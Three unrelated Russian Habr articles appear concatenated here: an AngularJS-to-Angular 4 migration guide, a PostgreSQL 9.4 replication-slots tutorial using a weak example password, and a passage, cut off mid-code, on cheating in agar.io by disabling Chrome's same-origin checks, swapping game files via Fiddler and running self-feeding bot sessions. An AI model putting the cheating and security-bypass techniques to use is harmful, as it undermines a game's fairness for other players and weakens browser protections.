В январе мы в Skyeng закончили перевод нашей платформы Vimbox с AngularJS на Angular 4. За время подготовки и перехода у нас накопилось много записей, посвященных планированию, решению возникающих проблем и новым конвенциям работы, и мы решили поделиться ими в трех статьях на Хабре. Надеемся, что наши заметки окажутся полезными структурно похожим на наш Vimbox проектам, которые только начали переезжать или собираются сделать это.
Зачем нам это нужно?
--------------------
Во-первых, Angular во всем лучше AngularJS – он быстрее, легче, удобнее, в нем меньше багов (например, с ними помогает бороться типизация шаблонов). Об этом много сказано и написано, нет смысла повторяться. Это было понятно еще с Angular 2, однако год назад затевать переход было страшно: вдруг Google опять решит перевернуть все с ног на голову со следующей версией, без обратной совместимости? У нас большой проект, переход на по сути новый фреймворк требует серьезных ресурсов, и делать его раз в два года нам совсем не хочется. Angular 4 позволяет надеяться, что больше революций не будет, а значит, настало время мигрировать.
Во-вторых, мы хотели актуализировать технологии, используемые в нашей платформе. Если этого не делать по принципу «если что-то не сломалось, не надо его чинить», в какой-то момент мы перейдем черту, за которой дальнейший прогресс будет возможен только при условии переписывания платформы с нуля. Переходить на Angular рано или поздно придется все равно, но чем раньше это сделать, тем дешевле будет переход (объем кода все время растет, а плюсы от новой технологии мы получим раньше).
Наконец, третья важная причина: разработчики. AngularJS – пройденный этап, он выполняет свои задачи, но не развивается и развиваться никогда не будет; наша же платформа постоянно растет. У нас не очень большая команда, состоящая из сильных разработчиков, а сильные разработчики всегда интересуются новыми технологиями, им просто неинтересно иметь дело с устаревшим фреймворком. Переход на Angular делает и наши вакансии интереснее для сильных кандидатов; в ближайшие два-три года они будут вполне актуальны.
Как переходить?
---------------
Можно выполнять переход в параллельном режиме – платформа работает на AngularJS, мы пишем с нуля и тестируем новую версию, и в определенный момент просто переключаем тумблер. Второй вариант – гибридный режим, когда изменения происходят непосредственно на продакшне, где одновременно работает и AngularJS, и Angular. К счастью, этот режим хорошо продуман и [задокументирован](https://angular.io/guide/upgrade#upgrading-with-ngupgrade).
Выбор между гибридным и параллельным режимами перехода зависит от того, насколько активно развивается продукт. Наш разработчик, готовивший план мероприятия, имел опыт параллельного подхода в другой компании – но в том случае зависимостей было меньше (хотя кода примерно столько же), а главное, была возможность на месяц остановить все развитие и заниматься только переходом. Выбор режима зависит от того, можно ли позволить себе такую роскошь.
Для нас в параллельном переходе был риск: на время подготовки новой версии останавливается вся разработка, и как бы грамотно мы ни просчитали срок переезда, есть вероятность, что процесс затянется, мы во что-то упремся и вообще не будем понимать, что делать дальше. В гибридном режиме в этой ситуации мы можем просто остановиться и спокойно искать решение, поскольку на продакшне у нас по-прежнему актуальная рабочая версия; она, может, не так эффективно работает и чуть тяжелее, но никакие процессы не остановлены. В параллельном у нас бы случился откат назад с соответствующими потерями. Стоит заметить, что у нас процесс перехода действительно затянулся – планировали 412 часов, по факту получилось в два раза больше (830). Но при этом ничто не останавливалось, постоянно выкатывался новый функционал, все работало как надо.
Вообще, стоит учитывать, что гибридный переход – это не форс-мажор, это совершенно нормальная, дефолтная процедура по мнению разработчиков самого Angular; бояться его не нужно.
План
----
Последовательность действий выглядела так:
1. Инициализация гибридного приложения: бутстрап ангуляра, который бутстрапит ангуляржс. Все остается как было, только теперь собираемся медленнее и запускаемся дольше (пока работает гибридный режим). Больше нет возможности кинуть контроллер на `head`, вся работа с тайтлом/фавиконками/метатегами выносится в сервисы, которые напрямую взаимодействуют с нужными элементами в хэде.
2. Перенос сервисов на ангуляр: самое легкое. Переписанные сервисы быстро делаются доступными из AngularJS, на котором пока работают компоненты. Начиная с самых простых, не имеющих зависимостей, к более сложным.
3. Рисуем остальную сову: переносим базовые компоненты (GUI и все остальное, что не использует других компонентов/директив). Переносим компоненты снизу вверх, по возможности помодульно.
4. Причесываем перышки: переносим компоненты страниц, выпиливаем AngularJS.
Правила переноса
----------------
Ну а теперь наконец перейдем к обещанным техническим деталям. Мы немного почистили эти записи, удалив лишние подробности, касающиеся только нашей платформы. Это совсем не универсальные решения, но, может, кому-то они послужат подспорьем для решения возникающих проблем.
Чтобы не городить стену текста, прячем все под спойлеры.
### Как переносить отдельные элементы
**Модуль**Если в модуле, в котором что-то начинаем апгрейдить, нет модуля ангуляра, то создаём его и цепляем в основной модуль приложения:
```
import {NgModule} from "@angular/core";
@NgModule({
//
});
export class SmthModule {}
@NgModule({
imports: [
...
SmthModule,
],
});
export class AppModule {}
```
Если ангуляржс модуль ещё остаётся живым, то новый именуем с постфиксом `.new`. Выпиливаем постфикс вместе со старым модулем ангуляржса.
**Сервис**В хорошем случае добавляем декоратор, убираем `default` из экспорта, правим импорты (т.к. убрали дефолт), импортируем в ангуляр модуле, даунгрейдим в ангуряржс модуле:
```
import {Injectable} from "@angular/core";
@Injectable()
export class SmthService {
...
}
// angular module
@NgModule({
providers: [
...
SmthService,
],
});
// angularjs module
import {downgradeInjectable} from "@angular/upgrade/static";
...
.factory("vim.smth", downgradeInjectable(SmthService))
```
Сервис остаётся доступен по старому имени в ангуряржс и не требует дополнительной настройки.
Хороший вариант подразумевает: все инжектуные сервисы уже переехали на ангуляр, не используются какие-то специфические вещи по типу `templateCache` или `compiler`.
В остальных 95% случаев страдаем, сначала апгрейдя то, что инжектится, избавляемся от всяких странных ангуляржс сервисов и т.д.
**Компонент**Докидываем к контроллеру декоратор с мета-данными, проставляем декораторы инпутам/аутпутам и переносим их в начало класса:
```
import {Component, Input, Output, EventEmitter} from "@angular/core";
@Component({
// селектор через `-` как будет использоваться в шаблоне, а не camelCase
selector: "vim-smth",
// при сборке специальный лоадер заменит на require("./smth.html")
templateUrl: "smth.html",
})
export class SmthComponent {
@Input() smth1: string;
@Output() smthAction = new EventEmitter();
...
}
// angular module
@NgModule({
declarations: [
...
SmthComponent,
],
// дублируем сюда если компонент используется в компонентах других модулей, иначе он будет доступен только компонентам этого модуля
exports: [
...
SmthComponent,
],
});
// angularjs module
import {downgradeInjectable} from "@angular/upgrade/static";
...
.directive("vimSmth", downgradeComponent({ component: SmthComponent }) as ng.IDirectiveFactory)
```
Все инжекнутые сервисы, все require компоненты (как их цеплять — ниже во *Всякое*) и все компоненты/директивы/фильтры, используемые внутри шаблона, должны быть на ангуляре.
Все используемые в шаблоне переменные компонента должны быть объявлены как `public`, иначе упадёт на AoT сборке.
Если компонент получает все данные для вывода из компонента выше (через инпуты), то смело пишем ему в мета-данные `changeDetection: ChangeDetectionStrategy.OnPush`. Это говорит ангуляру, что синкать шаблон с данными (пускать change detection для этого компонента) он будет, только если изменится любой из инпутов компонента. В идеале бОльшая часть компонентов должна быть в таком режиме (но у нас вряд ли, т.к. очень крупные компоненты, получающие данные для вывода через сервисы).
**Директива**То же самое, что у компонента, только нет шаблона и декоратор `@Directive`. Закидывается в модуль туда же, экспортировать для использования в компонентах других модулей надо так же.
Селектор в camelCase, так же используется в шаблонах компонентов.
**Фильтр**Теперь он `@Pipe` и должен имплементить `PipeTransform` интерфейс. В модуль закидывается туда же, куда и компоненты/директивы, и так же надо экспортировать, если используется в других модулях.
Селектор в camelCase, так же используется в шаблонах компонентов.
Директивы и фильтры ангуляра нельзя использовать в шаблонах ангуляржс компонентов и наоборот. Между фреймворками пробрасываются только сервисы и компоненты.
**Экспорты/импорты и интерфейсы**Во-первых, избавляемся от export default, т.к. AoT компилятор в него не может.
Во-вторых, из-за текущей структуры модулей (очень крупные) и использования интерфейсов (кладём кучей в тот же файл, где классы) мы словили весёлый баг с импортом таких интерфейсов и их использованием с декораторами: если интерфейс импортируется из файла, содержащего экспорты не только интерфейсов, но и, например, классов/констант, и такой интерфейс используется для типизации рядом с декоратором (например, `@Input() smth: ISmth`), то компилятор выдаст ошибку импорта `export 'ISmth' was not found`. Это может фикситься или выносом всех интерфейсов в отдельный файл (что плохо из-за крупных модулей, такой файл будет в десяток экранов), или заменой интерфейсов на классы. Замена на классы не прокатит, т.к. нельзя наследовать от нескольких родителей.
Выбранное решение: создать в каждом модуле каталог `interface`, в котором будут лежать файлы с именованием по сущности, содержащие соответствующие интерфейсы (например room, step, content, workbook, homework). Соответственно, все интерфейсы, используемые не локально, кладутся туда и импортируются из таких каталогов-файлов.
Более подробное описание проблемы:
<https://github.com/angular/angular-cli/issues/2034#issuecomment-302666897>
<https://github.com/webpack/webpack/issues/2977#issuecomment-245898520>
### Особенности (трансклуд, передача параметров, импорт svg)
**Особенности трансклуда**Если в апгрейженном компоненте используется трансклуд (`ng-content`), то при использовании компонента из шаблонов ангуляржса:
* не работают multi-slot трансклуды, только возможность пробросить всё одним куском через один `ng-content`;
* в трансклуд такого компонента нельзя прокидывать ui-view, т.к. оно не будет работать (обломалось при попытке апгрейда viewport компонента);
* если компонент используется подобным образом, то либо откладываем его апгрейд до апгрейда всех мест, где его используют, либо делаем его копию для параллельной работы в уже апгрейженных компонентах.
**Особенности передачи параметров**При использовании ангуляр компонента в ангуляржс компоненте инпуты прописываются как для обычного ангуляр компонента (с использованием `[]` и `()`), но в `kebab-case`
```
```
При переписывании такого шаблона на ангуляр правим kebab-case на camelCase.
**require в шаблонах для картинок/свг**Не прокатит, т.к. на него будет ругаться AoT компилятор. Поэтому импорт тех же свгшек выносим в ts файл и пробрасываем через св-во компонента.
было:
```
${require('!html-loader!image-webpack-loader?{}!./images/icon.svg')}
```
стало:
```
const imageIcon = require("!html-loader!image-webpack-loader?{}!./images/icon.svg");
public imageIcon = imageIcon;
```
Или для использования через img
было:
```
![]()
```
стало:
```
const imageIcon = require("./images/icon.svg");
public imageIcon = imageIcon;
![]()
```
### Динамические компоненты и шаблоны
**Жизнь без $compile**`$compile` больше нет, как нет и компиляции из строки (на самом деле есть небольшим хаком, но тут о том, как жить в 95% случаев без `$compile`).
Динамически вставляемые компоненты пробрасываются следующим образом:
```
@Component({...})
class DynamicComponent {}
@NgModule({
declarations: [
...
DynamicComponent,
],
entryComponents: [
DynamicComponent,
],
})
class SomeModule {}
// использование
@Component({
...
template: `
`
})
class SomeComponent {
public dynamicComponent = DynamicComponent;
}
```
Класс вставляемого компонента может прокидываться через сервис, инпуты или ещё как-либо.
`vim-base-dynamic-component` — это уже написанный компонент для динамической вставки других компонентов с поддержкой инпутов/аутпутов (в будущем, если понадобится).
**Динамического templateUrl нет**Если нужно выводить разные шаблоны по условию, и для этого использовался динамический `templateUrl`, заменяем это на структурную директиву и разбиваем компонент на три. Пример для разделения вывода мобилка/не мобилка:
запрос/обработка данных
отображение для мобилки
отображение для десктопов
Первый компонент имеет минимальный шаблон и занимается работой с данными, обработкой действий юзера и тому подобное (такой шаблон, из-за его краткости, есть смысл класть тут же в template св-во компонента через `` вместо отдельного html файла и `templateUrl`). Например:
```
@Component({
selector: "...",
template: `
`,
})
```
`vimBaseIfMobile` — структурная директива (в данном случае прямой аналог `ngIf`), отображающая соответствующий компонент по внутреннему условию и переданному параметру.
Компоненты для мобилки и десктопа получают данные через инпуты, шлют какие-то события через output и занимаются только выводом необходимого. Вся сложная логика, обработки, изменение данных — в основном компоненте который их выводит. В таких компонентах (декстоп/мобайл) можно смело прописывать `changeDetection: ChangeDetectionStrategy.OnPush`.
### Использование ангуляржс сервисов/компонентов в ангуляр сервисах/компонентах
**Сервис/факторка/провайдер**Открываем `app/entries/angularjs-services-upgrade.ts` и по примеру уже имеющегося копипастим (всё в рамках этого файла):
```
// EXAMPLE: copy-paste, fix naming/params, add to module providers at the bottom, use
// -----
import LoaderService from "../service/loader";
// NOTE: this function MUST be provided and exported for AoT compilation
export function loaderServiceFactory(i: any) {
return i.get(LoaderService.ID);
}
const loaderServiceProvider = {
provide: LoaderService,
useFactory: loaderServiceFactory,
deps: [ "$injector" ]
};
// -----
@NgModule({
providers: [
loaderServiceProvider,
]
})
export class AngularJSServicesUpgrade {}
```
Т.е. копируем имеющийся блок, импортируем нужный сервис, правим под него названия константы/функции, правим в них используемый сервис и его название (чаще всего вместо `SmthService.ID` надо будет вставить просто строкой имя, под которым сервис доступен (инжектится) в ангуляржсе), добавляем новую константу `smthServiceProvider` в список провайдеров в конце файла.
Такой сервис используется как нативный ангуляровский: просто инжектим в конструкторе по классу.
**Компонент**Кладём в файл с оригинальным компонентом (в начало) следующую заглушку, которая позволит прокинуть компонент в ангуляр окружение:
```
import {Directive, ElementRef, Injector, Input, Output, EventEmitter} from "@angular/core";
import {UpgradeComponent} from "@angular/upgrade/static";
@Directive({
/* tslint:disable:directive-selector */
selector: "vim-smth"
})
/* tslint:disable:directive-class-suffix */
export class SmthComponent extends UpgradeComponent {
@Input() smth: boolean;
@Output() someAction: EventEmitter;
constructor(elementRef: ElementRef, injector: Injector) {
super("vimSmth", elementRef, injector);
}
}
@NgModule({
declarations: [
...
SmthComponent,
]
})
export class SmthModule {
```
Обращаем внимание, что в данном случае используется декоратор `Directive` вместо `Component`, это особенность того, как ангуляр будет это обрабатывать.
Не забываем прописать все Input/Output (биндинги из оригинального компонента) и прописать компонент в `declarations` соответствующего модуля.
В дальнейшем, при апгрейде этого компонента, такая заглушка станет реальным компонентом ангуляра.
Если компонент (а точнее, старая директива-компонент) инжектит `$attrs` в контроллер/link функцию, то такой компонент нельзя прокинуть в ангуляр из ангуляржса, и его нужно апгрейдить или класть рядом апгрейженную копию для ангуляра.
Отключение ошибок tslint'a нужно, чтобы не ругался на несоответствие имени селектора и класса декоратору директивы. Эти строчки (комментарии) надо убрать после апгрейда компонента.
### Всякое
**Всякое*** использование сервиса с промисами `$q` заменяется на нативные `Promise`. У них нет `finally`, но это пофиксилось полифилом `core.js/es7.promise.finally` и теперь он есть. У него также нет deferred, добавлен ts-deferred, чтобы не писать велосипед каждый раз;
* вместо `$timeout` и `$interval` используем нативные `window.setTimeout` и `window.setInterval`;
* вместо `ng-show="visible"` биндимся на аттрибут `[hidden]="!visible"`;
* `track by` теперь всегда должен быть методом, указывается как (не забываем про постфикс `Track` у метода):
```
*ngFor="let item of items; trackBy: itemTrack"
public itemTrack(_index: number, item: IItem): number {
return item.id;
}
```
* в 99% случаев `$digest`, `$apply`, `$evalAsync` и подобное выпиливаются без замены;
* для инжекта сервиса просто прописываем его в конструкторе `constructor(private someService: SomeService)`, ангуляр сам поймёт, откуда его взять;
* внутри дериктивы элемент, на котором она висит, доступен через инжект `constructor(private element: ElementRef)` и инициализирован в хуке `AfterViewInit` (`ElementRef` это не сам DOM объект, он доступен по `this.element.nativeElement`);
* `ng-include` нет без замены, используем динамическое создание компонентов;
* `angular.extend`, `angular.merge`, `angular.forEach` и подобное отсутствует, используем нативный js и lodash;
* `angular.element` и все его методы отсутствуют. Пользуемся `@ViewChild/@ContentChild` и работаем через нативный js;
* если надо дёрнуть чендж детекшен в компоненте с `OnPush` — инжектим `private changeDetectorRef: ChangeDetectorRef` и дёргаем `this.changeDetectorRef.markForCheck()`;
* из шаблонов выпиливаем `$ctrl.` — доступ к св-вам и методам напрямую по именам;
* `ng-bind-html="smth"` -> `[innerHTML]="smth"`
* `$sce` -> `import {DomSanitizer} from "@angular/platform-browser";`
* `ng-pural` -> `[ngPlural]` <https://angular.io/api/common/NgPlural>
* `ngClass` не может так
```
[ngClass]="{
[ styles.active ]: visible,
[ styles.smth ]: smth
}"
```
поэтому заменяем на массив
```
[ngClass]="[
visible ? styles.active : '',
smth ? styles.smth : ''
]"
```
* классы для `ui-router` сервисов импортируются из `@uirouter/core` и инжектятся без старого префикса `$`
```
import {StateService, TransitionService} from "@uirouter/core";
constructor(stateService: StateService,
transitionService: TransitionService) {
```
* data атрибуты на компонентах прописываются как `attr.data-smth=""` или `[attr.data-smth]=""`;
* `require` в компонентах/директивах заменяется на инжект класса компонента прямо в конструкторе текущего компонента `contructor(private parentComponent: ParentComponent)`. Ангуляр сам увидит, что это компонент, и зацепит его. Для тонкой подстройки есть декораторы `@Host` (ищет среди родителей), `@Self` (ищет прямо на компоненте), `@Optional` (может присутствовать, а может нет, если нет, то переменная будет undefined). Накидывать можно сразу несколько `@Host() @Optional() parentComponent: ParentComponent`. Рекварить можно компоненты/директивы в компоненты/директивы;
* two-way биндинг в своих компонентах стал более явным и требует указания `Output` с тем же именем и постфиксом `Change`.
```
export class SmthComponent {
@Input() variable: string;
@Output() variableChange = new EventEmitter();
```
* возможен трансклуд ангуляржс компонентов в ангуляр компоненте. Именованный трансклуд надо проверять: работает или нет (в ангуляре он сделан через селекторы)
```
transcluded data
```
В следующих частях мы рассказываем про [особенности работы в гибридном режиме](https://habrahabr.ru/company/skyeng/blog/348512/), а также про [новые конвенции, к которым нам предстоит привыкать с Angular](https://habrahabr.ru/company/skyeng/blog/348606/). | https://habr.com/ru/post/348356/ | null | ru | null |
# Replication slots в PostgreSQL
До девятой версии в PostgreSQL для создания «теплого» резервного сервера использовался WAL archiving. В версии 9.0 появилась потоковая репликация с возможностью создания «горячего» read-only сервера. В следующей версии PostgreSQL 9.4 появится новый функционал для создания потоковой репликации под названием replication slots. Рассмотрим что он собой представляет и чем отличается от предыдущих способов.
На сегодняшний момент доступен первый кандидат в релизы. В качестве тестового стенда выбраны 2 виртуалки под Ubuntu 14.04. Процесс сборки и установки одинаков для основного и резервного серверов. Ставим из исходников, предварительно поставив необходимые пакеты:
```
sudo apt-get update && sudo apt-get -y install make g++ checkinstall libreadline6-dev zlib1g-dev
```
Скачиваем и распаковываем архив из репозитория:
```
wget https://ftp.postgresql.org/pub/source/v9.4rc1/postgresql-9.4rc1.tar.gz
tar xzf postgresql-9.4rc1.tar.gz
```
Собираем и устанавливаем пакет:
```
cd postgresql-9.4rc1/
./configure
make
sudo checkinstall
```
По умолчанию бинарники для работы с СУБД ставятся в /usr/local/pgsql/.
Добавим пользователя postgres в систему:
```
sudo useradd -M postgres
```
Создадим директорию для кластера:
```
sudo mkdir -p /data/db
sudo chown postgres:postgres /data/db
sudo chmod 0700 /data/db
```
Далее выполняем действия на основном сервере. Инициализируем кластер:
```
sudo -u postgres /usr/local/pgsql/bin/initdb -D /data/db
```
Кроме структуры кластера, initdb создаст дефолтные конфиги. Создадим в кластере директорию pg\_log, в которой будут хранится логи:
```
sudo -u postgres mkdir /data/db/pg_log
sudo -u postgres chmod 0700 /data/db/pg_log
```
Добавим записи в pg\_hba.conf для подключения пользователей и чтобы резервный сервер мог забирать WAL-логи с основного:
```
host all all 192.168.1.0/24 md5
host replication replica 192.168.1.108/32 md5
```
В конфиге postgresql.conf правим параметры:
listen\_addresses = '\*' — слушать входящие соединения на всех интерфейсах
wal\_level = hot\_standby — необходимый формат WAL-логов для репликации
max\_wal\_senders = 2 — количество одновременных соединений для репликации
logging\_collector = on — логи складываем в pg\_log
Запускаем наш кластер:
```
sudo -u postgres /usr/local/pgsql/bin/pg_ctl -D /data/db start
```
Смотрим состояние процессов:
```
ps aux | grep postgres
postgres 21295 0.0 0.0 23700 604 ? Ss 13:39 0:00 postgres: logger process
postgres 21297 0.0 13.6 170880 138408 ? Ss 13:39 0:01 postgres: checkpointer process
postgres 21298 0.0 5.0 170784 51076 ? Ss 13:39 0:00 postgres: writer process
postgres 21299 0.0 0.5 170648 5148? Ss 13:39 0:00 postgres: wal writer process
postgres 21300 0.0 0.1 171052 1836 ? Ss 13:39 0:00 postgres: autovacuum launcher process
postgres 21301 0.2 0.1 25924 1060 ? Ss 13:39 0:17 postgres: stats collector process
```
Создадим пользователя replica с правами на репликацию:
```
/usr/local/pgsql/bin/psql -U postgres -c "create user replica with replication encrypted password '123'"
```
Создадим тестовую базу с данными:
```
/usr/local/pgsql/bin/createdb -U postgres testdb
/usr/local/pgsql/bin/psql -U postgres -d testdb -c "create table testtable (id serial, data text)"
/usr/local/pgsql/bin/psql -U postgres -d testdb -c "insert into testtable select nextval('testtable_id_seq'::regclass), md5(generate_series(1,1000000)::text)"
```
Настроим резервный сервер.
Создадим директорию для кластера:
```
sudo mkdir -p /data/db
sudo chmod 0700 /data/db
sudo chown postgres:postgres /data/db
```
При помощи утилиты pg\_basebackup сделаем резервную копию основного сервера:
```
sudo -u postgres /usr/local/pgsql/bin/pg_basebackup -h 192.168.1.103 -U replica -D /data/db -X s
```
pg\_basebackup копирует всё содержимое кластера, включая конфиги, поэтому изменяем параметр hot\_standby в состояние on в postgresql.conf
Создадим файл recovery.conf в директории кластера, в котором укажем параметры подключения к основному серверу:
```
standby_mode='on'
primary_conninfo='host=192.168.1.103 port=5432 user=replica password=123'
```
Запускаем кластер на резервном сервере:
```
sudo -u postgres /usr/local/pgsql/bin/pg_ctl -D /data/db start
```
После этого на основном сервере должен запуститься процесс wal\_sender, а на резервном wal\_receiver:
**Скрытый текст**
```
postgres 21295 0.0 0.0 23700 604 ? Ss 13:39 0:00 postgres: logger process
postgres 21297 0.0 0.2 170756 2312 ? Ss 13:39 0:00 postgres: checkpointer process
postgres 21298 0.0 0.2 170784 2252 ? Ss 13:39 0:00 postgres: writer process
postgres 21299 0.0 0.5 170648 5148 ? Ss 13:39 0:00 postgres: wal writer process
postgres 21300 0.0 0.1 171052 1804 ? Ss 13:39 0:00 postgres: autovacuum launcher process
postgres 21301 0.0 0.1 25924 1060 ? Ss 13:39 0:00 postgres: stats collector process
postgres 21323 0.0 0.2 171048 2108 ? Ss 13:46 0:00 postgres: wal sender process replica 192.168.1.108(56673) streaming 0/4E000210
postgres 15150 0.0 0.0 23700 612 ? Ss 13:46 0:00 postgres: logger process
postgres 15151 0.0 0.1 170788 1496 ? Ss 13:46 0:00 postgres: startup process recovering 00000001000000000000004E
postgres 15152 0.0 0.0 170680 944 ? Ss 13:46 0:00 postgres: checkpointer process
postgres 15153 0.0 0.1 170680 1204 ? Ss 13:46 0:00 postgres: writer process
postgres 15154 0.0 0.0 25792 648 ? Ss 13:46 0:00 postgres: stats collector process
postgres 15155 0.6 0.1 174956 1660 ? Ss 13:46 0:00 postgres: wal receiver process streaming 0/4E000138
```
Посмотреть состояние репликации можно через представление pg\_stat\_replication на основном сервере
```
testdb=# select * from pg_stat_replication;
-[ RECORD 1 ]----+------------------------------
pid | 21987
usesysid | 16384
usename | replica
application_name | walreceiver
client_addr | 192.168.1.108
client_hostname |
client_port | 56674
backend_start | 2014-11-25 18:30:09.206434+03
backend_xmin |
state | streaming
sent_location | 0/5A2D8E60
write_location | 0/5A2D8E60
flush_location | 0/5A2D8E60
replay_location | 0/5A2D8E60
sync_priority | 0
sync_state | async
```
Видно, что основной и резервный сервер синхронизированны. Теперь сгенерим еще немного тестовых данных и сразу после этого посмотрим состояние репликации.
```
testdb=# insert into testtable select nextval('testtable_id_seq'::regclass), md5(generate_series(1,1000000)::text);
INSERT 0 1000000
testdb=# select * from pg_stat_replication;
-[ RECORD 1 ]----+------------------------------
pid | 21987
usesysid | 16384
usename | replica
application_name | walreceiver
client_addr | 192.168.1.108
client_hostname |
client_port | 56674
backend_start | 2014-11-25 18:30:09.206434+03
backend_xmin |
state | streaming
sent_location | 0/63800000
write_location | 0/63680000
flush_location | 0/63680000
replay_location | 0/6136E160
sync_priority | 0
sync_state | async
```
Здесь мы наблюдаем, что резервный сервер забрал с основного все WAL-логи, но еще не успел их все применить, поэтому он отстает от основного. По умолчанию, в postgres репликация происходит асинхронно при помощи WAL-логов, это бинарные файлы фиксированного размера в 16Мб, которые находятся в директории pg\_xlog. Их количество можно менять при помощи параметров checkpoint\_segments и wal\_keep\_segments. Когда количество измененных данных в кластере превышает общий размер WAL-логов, запускается процесс checkpointer, который сбрасывает WAL-логи в дата-файлы. После этого WAL-логи пересоздаются заново. В текущей стабильной версии postgres основной сервер не учитывает состояние резервного сервера. Поэтому если резервный слишком «отстал» от основного, то на основном WAL-логи пересоздадутся до того, как их заберет резервный. Попробуем смоделировать эту ситуацию.
Временно запретим резервному серверу подключаться на порт 5432:
```
sudo iptables -A OUTPUT -m tcp -p tcp —dport 5432 -j DROP
```
Сгенерим еще данных на основном сервере:
```
testdb=# insert into testtable select nextval('testtable_id_seq'::regclass), md5(generate_series(1,1000000)::text);
INSERT 0 1000000
```
Сбросим правило iptables и посмотрим логи резервного сервера, в которых наблюдаем такую неприятную картину.
```
LOG: started streaming WAL from primary at 0/78000000 on timeline 1
FATAL: could not receive data from WAL stream: ERROR: requested WAL segment 000000010000000000000078 has already been removed
```
Основной сервер удалил WAL-логи до того, как их успел забрать резервный. Теперь придется заново делать резервную копию основного сервера. Проблема в том, что основной сервер не учитывает состояние резервного. Поэтому если есть проблемы с сетью или просто медленный канал между серверами, то при интенсивной загрузке и/или изменении данных на основном сервере, возникает риск поломки репликации. Частичным решением является увеличение значения параметра [wal\_keep\_segments](http://www.postgresql.org/docs/9.4/static/runtime-config-replication.html#RUNTIME-CONFIG-REPLICATION-SENDER), и включение [WAL archiving](http://www.postgresql.org/docs/9.4/static/continuous-archiving.html#BACKUP-ARCHIVING-WAL). Но в версии 9.4 появятся replication slots. Рассмотрим как это работает:
На основном сервере создадим репликационный слот:
```
testdb=# SELECT pg_create_physical_replication_slot('standby_slot');
-[ RECORD 1 ]-----------------------+----------------
pg_create_physical_replication_slot | (standby_slot,)
```
```
testdb=# select * from pg_replication_slots;
-[ RECORD 1 ]+-------------
slot_name | standby_slot
plugin |
slot_type | physical
datoid |
database |
active | f
xmin |
catalog_xmin |
restart_lsn |
```
На резервном добавим к существующему содержимому файла recovery.conf строку
primary\_slot\_name = 'standby\_slot'
После перезапуска резервного сервера снова отключим его от основного и сгенерим на основном тестовые данных, которые превышают объем WAL-логов:
```
testdb=# insert into testtable select nextval('testtable_id_seq'::regclass), md5(generate_series(1,10000000)::text);
```
Посмотрим параметры WAL-логов в системе, а потом реальное количество журнальных файлов в каталоге pg\_xlog:
```
testdb=# show checkpoint_segments;
-[ RECORD 1 ]-------+--
checkpoint_segments | 3
```
```
testdb=# show wal_keep_segments;
-[ RECORD 1 ]-----+--
wal_keep_segments | 0
```
```
testdb=#\! ls /data/db/pg_xlog | wc -l
50
```
Для расчета максимального количества WAL-файлов в системе используют [формулу](http://www.postgresql.org/docs/9.4/static/wal-configuration.html): (2 + checkpoint\_completion\_target) \* checkpoint\_segments + 1.
Однако текущее количество WAL-логов в системе значительно выше. Репликационные слоты сохраняют информацию о количестве скаченных WAL-логов каждым резервным сервером. Теперь WAL-логи будут копиться до тех пор, пока последний резервный сервер не заберет их или пока не будет удален репликационный слот. По мере скачивания WAL-логов, директория pg\_xlog на основном сервере будет уменьшаться. Сбросив правило iptables на резервном сервере, в логах видим, что репликация возобновилась.
```
testdb=#\! tail -f /data/db/pg_log/postgresql-2014-11-27_191036.log
Is the server running on host "192.168.1.103" and accepting TCP/IP connections on port 5432?
LOG: started streaming WAL from primary at 0/A0000000 on timeline 1
```
Replication slots это отличный инструмент, повышающий надежность и удобство репликации в PostgreSQL.
Описание replication slots на официальном сайте PostgreSQL: [www.postgresql.org/docs/9.4/static/warm-standby.html#STREAMING-REPLICATION-SLOTS](http://www.postgresql.org/docs/9.4/static/warm-standby.html#STREAMING-REPLICATION-SLOTS) | https://habr.com/ru/post/245847/ | null | ru | null |
# Пишем бота для браузерной игры agar.io
Все уже наверно в курсе о такой замечательной веб-игре, как [agar.io](http://agar.io).
В очередной раз проиграв в ней более везучему сопернику, я тихо выругался про себя и решил как-то взломать эту игрушку, чтобы получить наконец в ней преимущество! В итоге мне удалось создать себе отряд игровых ботов, которые стремятся найти меня на карте, чтобы влиться в мою игровую клетку.
Влезаем в клиент игры
---------------------
Сначала надо было понять, как все работает.
Игра написана на javascript и общается с игровым сервером через веб-сокет.
Основной игровой скрипт лежит в файле [main\_out.js](http://agar.io/main_out.js).
Код там конечно же обфусцирован и всячески пытается не давать себя запускать откуда не следует:
```
if ("agar.io" != h.location.hostname && "localhost" != h.location.hostname && "10.10.2.13" != h.location.hostname) h.location = "http://agar.io/";
```
Развернув файл в читаемый вид через дебаггер Хрома, встал вопрос: каким образом вклиниться в логику игры?
Вначале я решил создать локальную копию файлов и соединяться с сервером, отключив в браузере проверку на кроссдомен:
```
#файлы игры
/css/bootstrap.min.css
/js/jquery.js
/index.html
/main_out.js
/quadtree.js
#запуск Хрома без same origin policy
chrome.exe --disable-web-security
```
Это заработало для AJAX запросов игровых регионов, но дальнейшие попытки соединиться по веб-сокету были отклонены. Нужен был другой подход.
Подменяем файлы по урлу
-----------------------
Рабочим решением стала загрузка реального игрового клиента, но подмена для браузера нужных файлов на свои. Для этого устанавливаем замечательную программу [Fiddler Web Debugger](http://www.telerik.com/fiddler) и указываем нужные пути в табе AutoResponder:
Такой подход очевидно требует держать Fiddler запущенным во время игровой сессии.
Пытаемся обмануть сервер
------------------------
Хочу похвалить авторов игры — на сервер не отправляется ничего такого, что можно было бы поменять в свою пользу (например: свой размер :)). Клиент шлет лишь координаты мыши, куда бы он хотел передвинуть свою клетку и сообщает о желаемых действиях (например: разделиться).
Сервер в свою очередь не присылает клиенту «лишних» для него данных. Например, когда я увеличил масштаб игровой карты, то сервер все равно присылал лишь то окно объектов, которое я должен был видеть в рамках своей клетки:
Казалось бы все пути закрыты: сервер не доверяет клиентам никакой важной информации и всё просчитывает самостоятельно.
Но тогда можно обмануть сервер в рамках его правил: создать стаю ботов, которые постоянно будут жертвовать собой, увеличивая мою массу. Но как же ботам находить мою клетку на карте? Выручило само API сервера: если постоянно отправлять ему например координаты (0, 0), то игровая клетка будет всегда следовать в эту часть карты без остановки, пока не достигнет цели. Вместо нулей надо всего лишь отправлять ботам мои текущие координаты и они сами будут приходить ко мне на ужин!
Пишем ботов в текущем окне
--------------------------
Код клиента одновременно получает данные и перерисовывает объекты на экране. Можно было бы открыть 20 табов, управляемых ботами и один мой игровой таб. Но тогда надо было бы как-то передавать мои координаты в соседние табы. Плюс рисование каждого таба тормозило бы весь браузер (я пробовал — так и есть). Поэтому было решено создавать новые игровые сессии прямо в текущем табе, но выключить для них связь с отображением:
```
//запускаем новые копии игры
var isBot = true;
for (i = 0; i < botsCount; i++) {
//нужно делать паузу перед новым ботом,
